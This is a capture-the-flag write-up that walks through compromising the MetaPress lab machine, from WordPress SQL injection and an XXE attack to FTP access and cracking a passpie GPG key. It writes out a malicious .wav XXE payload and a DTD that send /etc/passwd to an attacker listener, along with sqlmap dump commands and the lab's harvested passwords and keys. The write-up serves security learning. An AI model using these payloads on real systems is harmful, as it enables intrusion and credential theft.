Engagement Flow
Summary
This was an amazing lab with a narrow attack surface requiring many steps. The initial portion of the user phase was more demanding than the latter half of the box. In this phase, we had to enumerate and exploit WordPress twice, once for credentials to the application, which were extracted via a CVE SQLi vulnerability. The second WordPress attack, involved an authenticated SSTI attack which provided credentials leading to authentication with the FTP service where we found user credentials.
The root phase was much more straight forward in that we found a Python password manager known as passpie on the system, in our landing directory (hidden). With this in mind, we learned how the application works, and we focused on the encryption key.
With the key in hand, we converted it to a recognized format by the password cracking tool "John". With this newly formatted key we were able to crack the key for our root user password to complete the machine.
Tools used
WPSCAN
Burpsuite
SQLMap
Linpease
PHP server (php -S)
John the ripper
Processes/Techniques
WordPress plugin enumeration
SQL injection
Request proxying
Password cracking
Server side template injection
Enumeration
We have a narrow attack surface with only 3 ports open. We can safely assume that port 22 is for connecting back to the machine upon obtaining user credentials. As it is par for the course with Hack the Box engagements.
Port 21 and 80 will require enumeration and some type of exploitation of either a vulnerability or a misconfiguration.
Image - Nmap Results
Performing a more indepth scan with -sC -sV reveals that a subdomain is resolving to metapress.htb. This domain is added to our hosts file.
Image - Nmap Results
Web Enumeration
What Web
Enumerating the website with WhatWeb provides useful information. We learn that our target is using HTML5, WordPress 5.6.2 and is hosted by nginx.
200 OK]
Cookies[PHPSESSID],
Country[RESERVED][ZZ],
HTML5, HTTPServer[nginx/1.18.0], I
P[10.129.9.157],
MetaGenerator[WordPress 5.6.2],
PHP[8.0.24],
PoweredBy[--], Script,
Title[MetaPress – Official company site], UncommonHeaders[link], WordPress[5.6.2], X-Powered-By[PHP/8.0.24], nginx[1.18.0]
WPSCAN
Wpscan provided some basic information that did not further assist our efforts.
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.
WPSCAN plugin detection
This ended up going nowhere and I stopped running after no results for a prolonged period of time.
Image - WPSCAN providing no results
Directory change
Browsing to our web page we are presented with a welcome message and the disclosure of a /events/ directory on the website, where we can signup to launch some type of event.
Image - Metapress.htb landing page
Viewing the metapress.htb/events page shows we have an interactive portal for event registration.
Image - metapress.htb/events
Viewing the source code
Viewing the source code revealed the name of a form "booking press". When researching this term we learn it is actually a WordPress plugin.
Image - Source code on /events/ page
Word press enumeration
A quick google shows us we are indeed using a wordpress plugin. Despite wpscan finding nothing.
Image - Wordpress plugin - BookingPress
Further source code reveals the plugin version. Booking press 1.0.10
Image - Booking Press Version
WP CVE
Researching the wpscan repositor reveals a specific vulnerability.
Image - BookingPress CVE
In this case, we follow the instructions are we are able to acquire the wp nonce from the source without following the initial steps. Taking this nonce and placing it into the SQL payload below actually works and provides us with output from the target server.
Image - CVE Payload attempt
At this stage is important to gain the ability to modify this payload, and pivot into SQL Injection automation with SQLmap. A little research showed this is quite achievable with curl by using the -x flag followed by an ip address. This appeared on the "linux die" reference site.
Image - Curl flags
Giving it a shot actually works.
Image - Curl proxy to Burpsuite
From here, we strip down the payload in burpsuite, remove the existing injection and clear the variable of our injectable parameter. This request is then copied to a file offline to use with SQLMap. Note - That if you attempt to save the file, you will receive a xml file and not the .req file which is needed. Make sure to right click > copy.
Image - Modified payload
WP CVE chaining with SQLMAP
Running sqlmap on our request file shows that the parameter is of course injectable.
Image - SQLMap
Running SQLmap and specifying the database management system as MYSQL outputs our tables. We can see that two databases exist, "blog" and "information_schema". We will target the blog section.
Image - SQLMap table dump
With knowledge of working databases, the next step is to output the tables within the blog database.
sqlmap -r request.txt -p total_service -D blog --tables
Image - SQLMap table dump
Expanding our SQLMap command to include the specific tables and a request to dump this information provides several sets of credentials.
sqlmap -r request.txt -p total_service -D blog -T wp_users --dump
Image - Credentials from SQLI testing
Using John we can quickly extract the password at hand for the manager user.
Image - Password cracking with John.
Wordpress login & CVE for initial foothold
From here we are able to successfully login to the word press website as the manager user.
Image - Wordpress login
Viewing the source code of the page reveals the version of wordpress running.
Image - Wordpress version
Knowing this we can look on wp scan where we find a version matching vulnerability.
Image - Wordpress CVE
I had to research around for several sources on how to get this to work. I had several problems where the website was blocking my .wav file due to alleged security reasons. I had initially been trying the exploit from exploit db with no luck. I found it here.
When I switched to the instructions from Try Hack Me, I had allot of success. Which can be found here. https://tryhackme.com/room/wordpresscve202129447
I noticed some small differences in the payload to do with quotations but nothing more.
payload.wav file
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.90:8000/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
For the dtd file we use the following.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<ip>:8001/?p=%file;'>" >
upon generating our files we have to spin up a server. The instructions asked us to use a php server but I stuck with a p3 http server using the following commands.
python3 -m http.server
From here I ran into issues and the output I received in base 64 encoded characters was not working. I had to remove the portion of the .dtd file that was using zlib.deflate on our command.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<ip>:8000/?p=%file;'>" >
The .dtd file then looked like this.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<ip>:8000/?p=%file;'>" >
We spun up a PHP server to try it out.
Image - PHP listening server
This provided our desired result with the /etc/passwd file Base 64 encoded characters.
Image - /etc/passwd dumped in Base64
Taking this input over to Cyberchef provided our desired standard output.
Image - Cyberchef
Data exfiltration
With the ability exfiltrate data from our targetted system, we can proceed to target high value configuration files such as the wp-config.php which was found at metapress.htb/blog/wp-config.php. In here we find credentials that we can use to connect back to the host!
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
FTP Connection & Credential extraction
Connecting to our FTP server with those newly obtained credentials grants us access.
Image - FTP connection
We find a send_mail.php file which we download with mget. This is where we find our user credentials.
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
We can login and capture the users flag.
Image - User flag
Root
We run linpeas which did not help. I ended up going down several rabbit holes that went nowhere.
Image - Linpeas
CVE's to check
Image - CVE's to check via LinPeas.
Linux Exploit Suggester
Image - Linux exploit suggester
Going back to the basics! We find there is a hidden directory .passpie with several files including .pass and .key files.
Passpie
-PyPie.org
`Passpie <https://marcwebbie.github.io/passpie>`__ helps you manage
login credentials from the terminal with a colorful andconfigurable
interface. Password files are saved into yaml text files with passwords
encrypted using
`GnuPG <http://en.wikipedia.org/wiki/GNU_Privacy_Guard>`__. Use your
master passphrase to decrypt login credentials, copy passwords to
clipboard syncronize them to a git repository and more...
We find several files in the folders within. We only need to focus on the private key within the .keys folder.
Image - Passpie
We noticed there is a root.pass file
Image - Passpie
We download the private key and have to convert this into a format that is useable by our binary of choice, John. We know our key is a PGP format from the header.
Image - Private key
In this instance we need to convert the key file to a format readable by john with gpg2johnn.
gpg2john key > output
Image - gpg2john
We retrieve our file and can proceed to crack the password with john.
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::key
Running John cracks the password for us.
Image - John password cracking.
Extracting the root password with our key is the final step to root.
Image - Passpit password extracting
Comments